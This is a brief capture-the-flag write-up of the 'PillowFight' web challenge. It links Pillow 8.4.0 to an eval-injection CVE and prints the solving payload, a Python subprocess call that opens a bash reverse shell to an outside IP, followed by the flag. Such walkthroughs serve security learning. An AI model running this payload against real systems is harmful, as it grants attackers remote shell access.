2024-10-25 PillowFight (Web)

image.png

Two images uploaded and combined, messed around with different pngs uploading

image.png

Trying command execution

image.png

image.png

Not noting any changes for the png’s outputted.

image.png

API info

image.png

Pillow 8.4.0 | Snyk
Security vulnerabilities and package health score for pip package Pillow 8.4.0
https://security.snyk.io/package/pip/Pillow/8.4.0
Snyk Vulnerability Database | Snyk
High severity (8.1) Eval Injection in pillow | CVE-2023-50447
https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-6182918

image.png

image.png

image.png

**__import__**("subprocess").Popen(['bash','-c','bash -i >& /dev/tcp/20.64.224.40/8080 0>&1'])

Finally that worked to get a shell, cat for glaf.txt

image.png

flag{b6b62e6c5cdfda3b3a8b87d90fd48d01}

image.png